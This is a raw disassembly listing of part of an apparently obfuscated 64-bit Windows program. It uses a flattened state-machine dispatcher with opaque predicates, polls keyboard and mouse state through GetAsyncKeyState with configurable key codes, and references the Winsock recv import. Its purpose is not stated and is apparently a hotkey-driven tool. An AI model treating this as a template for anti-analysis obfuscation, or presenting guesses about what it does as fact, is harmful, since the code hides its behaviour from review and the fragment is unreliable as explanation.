sub esi, dword [rbp + 0x1d0]
mov ebx, dword [0x140b84d88]
sub ebx, dword [rbp + 0x1d0]
mov rdx, qword [rbp + 0x78]
mov edi, 0x70872b08
mov r8d, dword [rbp + 0x1d0]
nop dword [rax]
cmp edi, 0x70872b08
je 0x140505e35
cmp edi, 0xc330aaa3
jne 0x140505e20
jmp 0x14050829d
mov edi, 0xc330aaa3
jmp 0x140505e20
cmp eax, 0x68a284a1
jg 0x140506e61
cmp eax, 0x66644f98
je 0x1405086fb
cmp eax, 0x672d0a45
je 0x140508709
cmp eax, 0x67e5e1c1
jne 0x140501b1d
mov rax, qword [rbp + 0x60]
mov byte [rbp + 0x2a0], al
mov eax, dword [rbp + 0xcc]
mov dword [rbp + 0x110], eax
mov eax, dword [rbp + 0x1d0]
mov ecx, dword [rbp + 0x110]
cmp ecx, eax
mov eax, 0x37edd90b
mov ecx, 0x413c5d70
cmovl eax, ecx
jmp 0x140501b1d
cmp eax, 0xaf3a1268
jg 0x140506ea0
cmp eax, 0xacf97436
je 0x140508713
cmp eax, 0xad0f203b
je 0x140508731
cmp eax, 0xadf2d5fe
jne 0x140501b1d
mov eax, 0x585bf974
jmp 0x140501b1d
cmp eax, 0x303d0714
jg 0x140506edf
cmp eax, 0x2f039977
je 0x14050874c
cmp eax, 0x2f7408f2
je 0x140508756
cmp eax, 0x2ff5366d
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf6f9feff
mov ecx, 0x988923db
jmp 0x140501b10
cmp eax, 0xf1a8bf89
jg 0x140506f1b
cmp eax, 0xeee329f5
je 0x140508760
cmp eax, 0xef54d28c
je 0x14050877e
cmp eax, 0xf19b7902
jne 0x140501b1d
cmp word [rbp + 0xee], 0
mov eax, 0x3c6bfa10
mov ecx, 0xb178a3db
cmovns eax, ecx
jmp 0x140508e6c
cmp eax, 0x4b2bd93d
jg 0x140506f64
cmp eax, 0x496fff9b
je 0x1405087a1
cmp eax, 0x49d50b43
je 0x1405087bf
cmp eax, 0x4a4145b2
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1b4e6ae6
mov ecx, 0xf4721e3f
jmp 0x140501b10
cmp eax, 0x9e49b3ba
jg 0x140506f94
cmp eax, 0x9c4e1f94
je 0x1405087eb
cmp eax, 0x9d394f8d
je 0x140508809
cmp eax, 0x9dd29b20
jne 0x140501b1d
mov eax, 0x881e3445
jmp 0x140501b1d
cmp eax, 0x1e6f2bc0
jg 0x140507075
cmp eax, 0x1d476679
je 0x140508813
cmp eax, 0x1da4c721
je 0x14050881d
cmp eax, 0x1db7d26f
jne 0x140501b1d
mov dword [0x140b8530c], 5
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xafd7f7f5
mov ecx, 0xa707870e
jmp 0x140501b10
cmp eax, 0xdd6d977d
jg 0x1405070a7
cmp eax, 0xd9c724a8
je 0x140508827
cmp eax, 0xda0bcf98
je 0x140508832
cmp eax, 0xdc8525b0
jne 0x140501b1d
mov dword [rbp + 0x104], 0
mov eax, 0x3c6bfa10
jmp 0x140501b1d
cmp eax, 0x77d4fc8b
jg 0x1405070ea
cmp eax, 0x74ecebbd
je 0x14050885f
cmp eax, 0x7588d8e8
je 0x1405088a6
cmp eax, 0x77599e05
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd4c84578
mov ecx, 0xe38abb21
jmp 0x140501b10
cmp eax, 0xbd5a49c0
jg 0x140507124
cmp eax, 0xbbd87440
je 0x1405088b0
cmp eax, 0xbc193fff
je 0x1405088fe
cmp eax, 0xbd276567
jne 0x140501b1d
mov eax, 0xf8a6c20e
jmp 0x140501b1d
cmp eax, 0x3cb03d7c
jg 0x140507159
cmp eax, 0x3c2001aa
je 0x14050892a
cmp eax, 0x3c6bfa10
je 0x140508948
cmp eax, 0x3c8cce87
jne 0x140501b1d
mov eax, 0x5d449808
jmp 0x140501b1d
cmp eax, 0xfdf7ae5b
jg 0x140507184
cmp eax, 0xfcb0333e
je 0x140508972
cmp eax, 0xfd65ca5b
je 0x14050898d
cmp eax, 0xfdec0001
jne 0x140501b1d
mov dword [0x140b85048], 0
mov eax, 0x1aff6d1d
jmp 0x140501b1d
cmp eax, 0x5d449807
jg 0x1405071d7
cmp eax, 0x5ca4128c
je 0x1405089bb
cmp eax, 0x5cd34cf2
je 0x1405089f0
cmp eax, 0x5cdf942c
jne 0x140501b1d
mov dword [0x140b85310], 5
mov eax, 0x69406fa
jmp 0x140501b1d
cmp eax, 0x8817f978
jg 0x14050720d
cmp eax, 0x85d53f17
je 0x140508a0e
cmp eax, 0x868bb142
je 0x140508a20
cmp eax, 0x87212da1
jne 0x140501b1d
mov eax, 0x7091a52a
jmp 0x140501b1d
cmp eax, 0xdebd2c0
jg 0x140507271
cmp eax, 0xaaaf77a
je 0x140508a34
cmp eax, 0xb8135eb
je 0x140508a5e
cmp eax, 0xcc87af1
jne 0x140501b1d
mov al, byte [rbp + 0x2a3]
mov eax, 0xbc193fff
jmp 0x140501b1d
cmp eax, 0xc74b858a
jg 0x1405072ab
cmp eax, 0xc49f33d3
je 0x140508a79
cmp eax, 0xc5c30ce6
je 0x140508a8d
cmp eax, 0xc660fb40
jne 0x140501b1d
mov eax, 0xd828ed0f
jmp 0x140501b1d
cmp eax, 0x6467da72
jg 0x1405072e7
cmp eax, 0x640da4ff
je 0x140508b4e
cmp eax, 0x640feca0
je 0x140508c01
cmp eax, 0x6412484b
jne 0x140501b1d
mov ecx, dword [0x140b8530c]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea r11, [rbp + 0x338]
add rsp, 0x20
test ax, ax
sete byte [rbp + 0x1cb]
mov eax, 0x7cc6cb2f
jmp 0x140501b1d
cmp eax, 0xaa3f5ca1
jg 0x14050732a
cmp eax, 0xa707870e
je 0x140508c1f
cmp eax, 0xa95c5f45
je 0x140508c29
cmp eax, 0xa9838b9f
jne 0x140501b1d
mov eax, 0xbff1e44f
jmp 0x140501b1d
cmp eax, 0x2cbf010f
jg 0x1405073ed
cmp eax, 0x2a89c1f6
je 0x140508c51
cmp eax, 0x2c2cb2bd
je 0x140508c7b
cmp eax, 0x2c3eafc5
jne 0x140501b1d
mov dword [0x140b85324], 6
mov eax, 0xc74b858b
jmp 0x140501b1d
cmp eax, 0xed33ab59
jg 0x140507418
cmp eax, 0xe9c08312
je 0x140508c91
cmp eax, 0xeb262fc9
je 0x140508c9b
cmp eax, 0xec4bb72b
jne 0x140501b1d
cmp byte [rbp + 0x1c1], 0
mov eax, 0x2314cb00
mov ecx, 0x1a96d7c
cmovne eax, ecx
jmp 0x140501b1d
cmp eax, 0x478ccb83
jg 0x140507452
cmp eax, 0x45b04b34
je 0x140508cce
cmp eax, 0x45ccbf5f
je 0x140508cfe
cmp eax, 0x4775c3b1
jne 0x140501b1d
mov eax, 0x614d2a8a
jmp 0x140501b1d
cmp eax, 0x988923da
jg 0x140507498
cmp eax, 0x970519df
je 0x140508d21
cmp eax, 0x9739f15e
je 0x140508d36
cmp eax, 0x97aa9ca7
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3c8cce87
mov ecx, 0x5d449808
jmp 0x140501b10
cmp eax, 0x1bd987a8
jg 0x1405074de
cmp eax, 0x1aff6d1d
je 0x140508d4f
cmp eax, 0x1b4e6ae6
je 0x140508d71
cmp eax, 0x1bd1a66a
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1d476679
mov ecx, 0xdd6d977e
jmp 0x140501b10
cmp eax, 0xd64e65f1
jg 0x14050751d
cmp eax, 0xd577f690
je 0x140508d7b
cmp eax, 0xd5f35ab6
je 0x140508e4e
cmp eax, 0xd634393c
jne 0x140501b1d
mov eax, 0x143a0241
jmp 0x140501b1d
cmp eax, 0x7327f9f1
je 0x140508e58
cmp eax, 0x73a81b32
je 0x140508e7d
cmp eax, 0x73b9080e
jne 0x140501b1d
mov rsi, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x70]
sub rsp, 0x20
call fcn.140408620
lea r11, [rbp + 0x338]
add rsp, 0x20
mov rax, qword [rsi]
mov qword [0x140b84fc8], rax
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xac47fce1
mov ecx, 0x4d5e87a9
jmp 0x140501b10
cmp eax, 0xb8cbf079
je 0x140508e9b
cmp eax, 0xb9347c16
je 0x140508ead
cmp eax, 0xb9b7a4bd
jne 0x140501b1d
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call fcn.140408620
lea r11, [rbp + 0x338]
add rsp, 0x20
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
mov qword [0x140b84fc0], rax
mov rax, qword [rbp + 0x28]
cmp byte [0x140b852db], 0
mov eax, 0x332ee5eb
mov ecx, 0x63922f98
cmove eax, ecx
jmp 0x140501b1d
cmp eax, 0x37edd90b
je 0x140508ec8
cmp eax, 0x38027c2e
je 0x140508ed3
cmp eax, 0x3aa7b52c
jne 0x140501b1d
sub rsp, 0x20
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea r11, [rbp + 0x338]
add rsp, 0x20
mov word [rbp + 0xee], ax
mov eax, 0xf19b7902
jmp 0x140501b1d
cmp eax, 0xf835c1b5
je 0x140508ee4
cmp eax, 0xf8a6c20e
je 0x140508f02
cmp eax, 0xf9e16657
jne 0x140501b1d
cmp byte [rbp + 0x1c8], 0
mov eax, 0xfbabc545
mov ecx, 0x3c0a64d2
cmovne eax, ecx
jmp 0x140501b1d
cmp eax, 0x56e84b71
je 0x140508f1f
cmp eax, 0x571a57ba
je 0x140508f29
cmp eax, 0x573079eb
jne 0x140501b1d
mov eax, 0x299b11fa
jmp 0x140501b1d
cmp eax, 0x8e091fe4
je 0x140508f47
cmp eax, 0x8f832412
je 0x140508f51
cmp eax, 0x906650ee
jne 0x140501b1d
mov dword [0x140b8530c], 1
mov eax, 0x1d1a956f
jmp 0x140501b1d
cmp eax, 0x13758be3
je 0x140508f6c
cmp eax, 0x142edd9e
je 0x140508f85
cmp eax, 0x143a0241
jne 0x140501b1d
mov eax, dword [rbp]
mov dword [rbp + 0xac], eax
mov al, byte [rbp + 0x297]
jmp 0x140509846
cmp eax, 0xcc16a9bd
je 0x140508fcd
cmp eax, 0xcc5ffbc7
je 0x140508feb
cmp eax, 0xcc96f232
jne 0x140501b1d
mov al, byte [rbp + 0x298]
mov byte [rbp + 0x2a5], al
mov eax, 0xe60fc560
jmp 0x140501b1d
cmp eax, 0x6a7419d4
je 0x140509023
cmp eax, 0x6d60301c
je 0x14050902d
cmp eax, 0x6defb7ad
jne 0x140501b1d
mov dword [0x140b85324], 1
mov eax, 0x64d0ab37
jmp 0x140501b1d
cmp eax, 0xb0403517
je 0x140509055
cmp eax, 0xb0801f83
je 0x140509069
cmp eax, 0xb0c6f540
jne 0x140501b1d
mov eax, 0x194f8d9c
jmp 0x140501b1d
cmp eax, 0x332ee5eb
je 0x140509095
cmp eax, 0x339aa390
je 0x1405090ab
cmp eax, 0x33c71237
jne 0x140501b1d
cmp byte [rbp + 0x1c0], 0
mov eax, 0xe7c90054
mov ecx, 0x5289457e
cmovne eax, ecx
jmp 0x140501b1d
cmp eax, 0xf2ff5471
je 0x1405090b5
cmp eax, 0xf33155ec
je 0x1405090d3
cmp eax, 0xf3afbbfd
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd112a94f
mov ecx, 0xcb179487
jmp 0x140501b10
cmp eax, 0x4d004062
je 0x1405090e7
cmp eax, 0x4d5e87a9
je 0x140509145
cmp eax, 0x4eac09d6
jne 0x140501b1d
mov al, byte [rbp + 0x29d]
and al, 1
mov byte [rbp + 0x1c8], al
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x37e4b89d
mov ecx, 0xf9e16657
jmp 0x140501b10
cmp eax, 0x9ff1ed90
je 0x14050914f
cmp eax, 0xa00b6328
je 0x140509159
cmp eax, 0xa029699d
jne 0x140501b1d
mov dword [rbp + 0x100], 0
mov eax, 0x3dcc9b8b
jmp 0x140501b1d
cmp eax, 0x20409a70
je 0x140509163
cmp eax, 0x209f81cc
je 0x140509181
cmp eax, 0x228540d9
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x10a8bb2a
mov ecx, 0x535742f4
jmp 0x140501b10
cmp eax, 0xe2346735
je 0x1405091b4
cmp eax, 0xe2a83d23
je 0x1405091ca
cmp eax, 0xe38abb21
jne 0x140501b1d
mov al, byte [rbp + 0x2ff]
jmp 0x1405077a0
cmp eax, 0x790ae7e5
je 0x1405091d4
cmp eax, 0x79367967
je 0x14050922a
cmp eax, 0x79377fd2
jne 0x140501b1d
mov rax, qword [rbp - 0x58]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, [0x140b85038]
call fcn.1404fbd00
add rsp, 0x20
mov eax, dword [0x140b86d00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b86d04], 0xa
setl cl
or cl, al
mov esi, 0x9d494a93
mov eax, 0xb72ca808
cmovne esi, eax
movss xmm0, dword [0x140b85038]
mov edi, 0x9d494a93
mov eax, 0xed03f61f
cmovne edi, eax
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x6742093e
nop word [rax + rax]
cmp eax, 0xed03f61e
jle 0x140506910
cmp eax, 0xed03f61f
je 0x140506923
cmp eax, 0x6742093e
je 0x140506927
cmp eax, 0x5bb003bf
jne 0x1405068f0
mov eax, edi
jmp 0x1405068f0
cmp eax, 0x9d494a93
je 0x14050692e
cmp eax, 0xb72ca808
jne 0x1405068f0
jmp 0x14050927c
mov eax, esi
jmp 0x1405068f0
mov eax, 0x5bb003bf
jmp 0x1405068f0
mov eax, 0xed03f61f
jmp 0x1405068f0
cmp eax, 0xbe753ff3
je 0x1405092f5
cmp eax, 0xbf9533fe
je 0x140509326
cmp eax, 0xbff1e44f
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa9838b9f
mov ecx, 0x288ac968
jmp 0x140501b10
cmp eax, 0x3dcc9b8b
je 0x140509350
cmp eax, 0x3f19904f
je 0x14050937a
cmp eax, 0x3f31ab2d
jne 0x140501b1d
mov eax, 0x640da4ff
jmp 0x140501b1d
cmp eax, 0x1a96d7c
je 0x140509384
cmp eax, 0x25eddea
je 0x1405093c1
cmp eax, 0x34c3b51
jne 0x140501b1d
mov eax, 0x856affd9
jmp 0x140501b1d
cmp eax, 0x5a236836
je 0x1405093ed
cmp eax, 0x5bf2c45b
je 0x1405093f7
cmp eax, 0x5c0a6187
jne 0x140501b1d
mov rax, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xd8]
mov eax, 0x62491ecd
nop
cmp eax, 0x62491ecd
je 0x140506a13
cmp eax, 0x9b9dc05c
jne 0x140506a00
jmp 0x140509424
mov eax, 0x9b9dc05c
jmp 0x140506a00
cmp eax, 0x856affd9
je 0x14050947a
cmp eax, 0x858e061f
je 0x140509495
cmp eax, 0x859e96c6
jne 0x140501b1d
mov dword [rbp + 0xb4], 0
mov dword [rbp + 0x10c], 0
mov eax, 0xeb262fc9
jmp 0x140501b1d
cmp eax, 0x975a387
je 0x14050949f
cmp eax, 0x9a5316e
je 0x1405094ba
cmp eax, 0xa52fbec
jne 0x140501b1d
cmp byte [0x140b85320], 0
setne byte [rbp + 0x1cc]
mov eax, 0xfed2f072
jmp 0x140501b1d
cmp eax, 0xc2a6d622
je 0x1405094d8
cmp eax, 0xc2d78ab3
je 0x140509595
cmp eax, 0xc484678a
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd4c84578
mov ecx, 0x77599e05
jmp 0x140501b10
cmp eax, 0x634ef039
je 0x1405095ca
cmp eax, 0x63922f98
je 0x1405095d4
cmp eax, 0x63b63e63
jne 0x140501b1d
mov eax, 0xb776c280
jmp 0x140501b1d
cmp eax, 0xa61f8b10
je 0x1405095f2
cmp eax, 0xa6b3d861
je 0x1405095fc
cmp eax, 0xa6cb0eb4
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5c0a6187
mov ecx, 0xf6e3bba7
jmp 0x140501b10
cmp eax, 0x274448cd
je 0x140509615
cmp eax, 0x288ac968
je 0x14050962e
cmp eax, 0x299b11fa
jne 0x140501b1d
cmp byte [0x140b852d8], 0
setne byte [rbp + 0x1ca]
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x573079eb
mov ecx, 0x3d8012cd
jmp 0x140501b10
cmp eax, 0xe7c90054
je 0x140509638
cmp eax, 0xe841865b
je 0x140509656
cmp eax, 0xe91c89bc
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb21f7291
mov ecx, 0xc5c30ce6
jmp 0x140501b10
cmp eax, 0x43ffda84
je 0x14050968f
cmp eax, 0x443bcca4
je 0x140509699
cmp eax, 0x44bf2de7
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe2a83d23
mov ecx, 0x858e061f
jmp 0x140501b10
cmp eax, 0x960cce18
je 0x1405096c1
cmp eax, 0x967a41e5
je 0x1405096e6
cmp eax, 0x96a0a09a
jne 0x140501b1d
mov rax, qword [rbp - 0x68]
mov eax, 0x66644f98
jmp 0x140501b1d
cmp eax, 0x183ad464
je 0x14050977c
cmp eax, 0x18d8527d
je 0x140509795
cmp eax, 0x194f8d9c
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x573079eb
mov ecx, 0x299b11fa
jmp 0x140501b10
cmp eax, 0xd1e99ca7
je 0x14050979f
cmp eax, 0xd2f1a7a5
je 0x1405097a9
cmp eax, 0xd4c84578
jne 0x140501b1d
mov eax, 0x77599e05
jmp 0x140501b1d
cmp eax, 0x70280f56
je 0x1405097dc
cmp eax, 0x7091a52a
je 0x140509816
cmp eax, 0x70dad76c
jne 0x140501b1d
mov eax, 0xf7457cab
jmp 0x140501b1d
cmp eax, 0xb62b80fa
je 0x14050982c
cmp eax, 0xb776c280
je 0x140509836
cmp eax, 0xb7c99d76
jne 0x140501b1d
mov byte [0x140b85031], 1
mov eax, 0x8a940594
jmp 0x140501b1d
cmp eax, 0x36b439d6
je 0x140509856
cmp eax, 0x37305506
je 0x140509860
cmp eax, 0x37e4b89d
jne 0x140501b1d
mov al, byte [rbp + 0x29d]
mov eax, 0x4eac09d6
jmp 0x140501b1d
cmp eax, 0xf7457cab
je 0x14050986a
cmp eax, 0xf7767b3b
je 0x140509883
cmp eax, 0xf7971221
jne 0x140501b1d
mov eax, 0xaaaf77a
jmp 0x140501b1d
cmp eax, 0x55c2529c
je 0x1405098a1
cmp eax, 0x566acb31
je 0x1405098ab
cmp eax, 0x56902894
jne 0x140501b1d
mov eax, 0x15f57494
jmp 0x140501b1d
cmp eax, 0x8b589ce1
je 0x1405098c4
cmp eax, 0x8d3a1571
je 0x1405098d8
cmp eax, 0x8d3d424b
jne 0x140501b1d
cmp byte [rbp + 0x1c2], 0
mov eax, 0x604ed15e
mov ecx, 0x63922f98
cmovne eax, ecx
jmp 0x140501b1d
cmp eax, 0x10a8bb2a
je 0x1405098ec
cmp eax, 0x11474d4b
je 0x140509900
cmp eax, 0x12e090a7
jne 0x140501b1d
mov rsi, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x68]
sub rsp, 0x20
call fcn.140408620
lea r11, [rbp + 0x338]
add rsp, 0x20
mov rax, qword [rsi]
mov qword [0x140b84fc8], rax
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x58a4dc0c
mov ecx, 0x5a236836
jmp 0x140501b10
cmp eax, 0xcacb336e
je 0x140509919
cmp eax, 0xcb179487
je 0x14050992d
cmp eax, 0xcb2e7053
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3076583e
mov ecx, 0x49d50b43
jmp 0x140501b10
cmp eax, 0x68a284a2
je 0x14050994d
cmp eax, 0x68c9899f
je 0x14050996b
cmp eax, 0x69ebb762
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x866f5d2
mov ecx, 0x8886da92
jmp 0x140501b10
cmp eax, 0xaf3a1269
je 0x140509975
cmp eax, 0xafd7f7f5
je 0x1405099a1
cmp eax, 0xafec0e3a
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9d394f8d
mov ecx, 0x5e1d0324
jmp 0x140501b10
cmp eax, 0x303d0715
je 0x1405099b5
cmp eax, 0x3076583e
je 0x1405099cb
cmp eax, 0x3286877a
jne 0x140501b1d
mov eax, dword [rbp + 0x1d4]
cmp eax, 5
mov eax, 0xc0d7b257
mov ecx, 0x8b589ce1
cmovl eax, ecx
jmp 0x140501b1d
cmp eax, 0xf1a8bf8a
je 0x1405099db
cmp eax, 0xf1b36507
je 0x140501aed
cmp eax, 0xf2c9f88e
jne 0x140501b1d
mov dword [0x140b8530c], 0xa2
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6f05338e
mov ecx, 0xe536a9d1
jmp 0x140501b10
cmp eax, 0x4b2bd93e
je 0x1405099f9
cmp eax, 0x4b5deb17
je 0x140509a22
cmp eax, 0x4bb75cd5
jne 0x140501b1d
movapd xmm6, xmm12
mov eax, 0x5ca4128c
jmp 0x140501b1d
cmp eax, 0x9e49b3bb
je 0x140509a3b
cmp eax, 0x9effd241
je 0x140509a45
cmp eax, 0x9fefa502
jne 0x140501b1d
mov rax, qword [rbp + 0x118]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, [0x140b85038]
call fcn.1404fa940
add rsp, 0x20
mov eax, dword [0x140b86d00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b86d04], 0xa
setl cl
or cl, al
mov esi, 0x9d494a93
mov eax, 0xb72ca808
cmovne esi, eax
movss xmm0, dword [0x140b85038]
mov edi, 0x9d494a93
mov eax, 0xed03f61f
cmovne edi, eax
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x6742093e
nop word cs:[rax + rax]
nop
cmp eax, 0xed03f61e
jle 0x140507050
cmp eax, 0xed03f61f
je 0x140507063
cmp eax, 0x6742093e
je 0x140507067
cmp eax, 0x5bb003bf
jne 0x140507030
mov eax, edi
jmp 0x140507030
cmp eax, 0x9d494a93
je 0x14050706e
cmp eax, 0xb72ca808
jne 0x140507030
jmp 0x140509a6f
mov eax, esi
jmp 0x140507030
mov eax, 0x5bb003bf
jmp 0x140507030
mov eax, 0xed03f61f
jmp 0x140507030
cmp eax, 0x1e6f2bc1
je 0x140509af5
cmp eax, 0x1e78054a
je 0x140509b0b
cmp eax, 0x1ffd3f16
jne 0x140501b1d
movzx eax, word [rbp + 0x132]
mov eax, 0x5bf2c45b
jmp 0x140501b1d
cmp eax, 0xdd6d977e
je 0x140509b21
cmp eax, 0xe065b19e
je 0x140509b3f
cmp eax, 0xe10d0d3a
jne 0x140501b1d
mov rax, qword [rbp + 0x118]
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov eax, dword [0x140b85048]
mov dword [rbp + 4], eax
mov eax, 0x14de42ec
jmp 0x140501b1d
cmp eax, 0x77d4fc8c
je 0x14050b76a
cmp eax, 0x780a5436
je 0x14050b783
cmp eax, 0x782dc696
jne 0x140501b1d
cmp dword [rbp + 0x114], 0
mov eax, 0x2ec458a9
mov ecx, 0x9a5316e
cmove eax, ecx
jmp 0x140501b1d
cmp eax, 0xbd5a49c1
je 0x14050b7a3
cmp eax, 0xbddac843
je 0x14050b7c3
cmp eax, 0xbe401f23
jne 0x140501b1d
mov dword [0x140b85324], 2
mov eax, 0x6d60301c
jmp 0x140501b1d
cmp eax, 0x3cb03d7d
je 0x14050b7de
cmp eax, 0x3ce27dc0
je 0x14050b7e8
cmp eax, 0x3d8012cd
jne 0x140501b1d
mov eax, 0x74b8b556
jmp 0x140501b1d
cmp eax, 0xfdf7ae5c
je 0x14050b812
cmp eax, 0xfed2f072
je 0x14050b81c
cmp eax, 0x68d949
jne 0x140501b1d
mov edx, dword [rbp + 0x98]
mov r8d, dword [rbp + 0x88]
sub rsp, 0x20
lea rcx, [0x140b84b98]
call fcn.1404ff560
lea r11, [rbp + 0x338]
add rsp, 0x20
mov eax, 0x51dc27a0
jmp 0x140501b1d
cmp eax, 0x5d449808
je 0x14050b835
cmp eax, 0x5e1d0324
je 0x14050b853
cmp eax, 0x604ed15e
jne 0x140501b1d
mov rax, qword [rbp + 0x118]
mov qword [rbp - 0x58], rax
mov eax, 0xcfe3bd2f
jmp 0x140501b1d
cmp eax, 0x8817f979
je 0x14050b871
cmp eax, 0x881e3445
je 0x14050b885
cmp eax, 0x8886da92
jne 0x140501b1d
mov ecx, dword [0x140b85310]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea r11, [rbp + 0x338]
add rsp, 0x20
test ax, ax
setne byte [rbp + 0x1bb]
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x866f5d2
mov ecx, 0x8e091fe4
jmp 0x140501b10
cmp eax, 0xdebd2c1
je 0x14050b8a3
cmp eax, 0xe739fec
je 0x14050b8ad
cmp eax, 0xeb46bb9
jne 0x140501b1d
cmp byte [rbp + 0x1c5], 0
mov eax, 0x2400233a
mov ecx, 0xc484678a
cmovne eax, ecx
jmp 0x140501b1d
cmp eax, 0xc74b858b
je 0x14050b8b7
cmp eax, 0xc7505e76
je 0x14050b8cb
cmp eax, 0xc888e2cb
jne 0x140501b1d
mov eax, dword [rbp + 0x1d8]
cmp eax, 3
mov eax, 0xb8135eb
mov ecx, 0x274448cd
cmovl eax, ecx
jmp 0x140501b1d
cmp eax, 0x6467da73
je 0x14050b98d
cmp eax, 0x64d0ab37
je 0x14050b9ab
cmp eax, 0x663a5512
jne 0x140501b1d
mov rax, qword [rbp - 0x48]
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe739fec
mov ecx, 0xf1a8bf8a
jmp 0x140501b10
cmp eax, 0xaa3f5ca2
je 0x14050b9c9
cmp eax, 0xac47fce1
je 0x14050b9d3
cmp eax, 0xaccf8945
jne 0x140501b1d
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x48], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x18], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x20], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x28], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x40], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x30], rax
mov eax, dword [0x140b852e8]
mov dword [rbp + 0x1d8], eax
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd5f35ab6
mov ecx, 0x6a7419d4
jmp 0x140501b10
cmp eax, 0x2cbf0110
je 0x14050ba0a
cmp eax, 0x2da99614
je 0x14050ba28
cmp eax, 0x2ec458a9
jne 0x140501b1d
mov eax, 0x6defb7ad
jmp 0x140501b1d
cmp eax, 0xed33ab5a
je 0x14050ba46
cmp eax, 0xede6cc2c
je 0x14050ba64
cmp eax, 0xeee00393
jne 0x140501b1d
cmp dword [rbp + 0x1d8], 0
mov eax, 0x672d0a45
mov ecx, 0x906650ee
cmove eax, ecx
jmp 0x140501b1d
cmp eax, 0x478ccb84
je 0x14050ba82
cmp eax, 0x4799e9fa
je 0x14050ba96
cmp eax, 0x487a41ab
jne 0x140501b1d
mov al, byte [rbp + 0x2ad]
mov byte [rbp + 0x2e3], al
test byte [rbp + 0x2e3], 1
mov eax, 0x9c4e1f94
mov ecx, 0x95601d2b
cmove eax, ecx
jmp 0x140501b1d
cmp eax, 0x988923db
je 0x14050bac7
cmp eax, 0x98be42cb
je 0x14050baf1
cmp eax, 0x9b5e595f
jne 0x140501b1d
cmp byte [rbp + 0x1bd], 0
mov eax, 0xa40e9281
